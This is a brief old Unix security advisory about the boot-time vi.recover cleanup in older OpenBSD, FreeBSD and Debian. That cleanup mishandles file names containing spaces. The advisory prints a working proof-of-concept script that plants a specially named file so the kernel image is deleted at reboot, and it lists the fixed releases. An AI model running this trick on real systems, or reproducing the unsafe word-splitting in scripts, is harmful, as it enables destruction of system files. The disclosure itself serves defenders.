COMMAND
	    vi
SYSTEMS AFFECTED
	    OpenBSD, FreeBSD, Debian
PROBLEM
	    Loneguard found  following.   Looks like  someone noticed  this at
	    some point  in OpenBSD.  It works  on older  OpenBSD, FreeBSD  and
	    Debian (others?).
	
	        #!/bin/sh
	        #
	        # vibackup.sh - Loneguard 22/05/99
	        # Open/FreeBSD/Debian /etc/rc script insecurely removes old vi files allowing deletion
	        # of files
	        #
	        touch '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz'
	        chmod 700 '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz'
	        echo Now wait for ( or cause ) a reboot...
	
SOLUTION
	    OpenBSD 2.6 does  not have this  problem as its  vi.recover script
	    is  written  in  perl  and  can  handle  files with spaces in them
	    sanely.
	    This  has  been  fixed  in  FreeBSD  2.2-STABLE,  3.4-STABLE   and
	    4.0-CURRENT (04.01.2000).
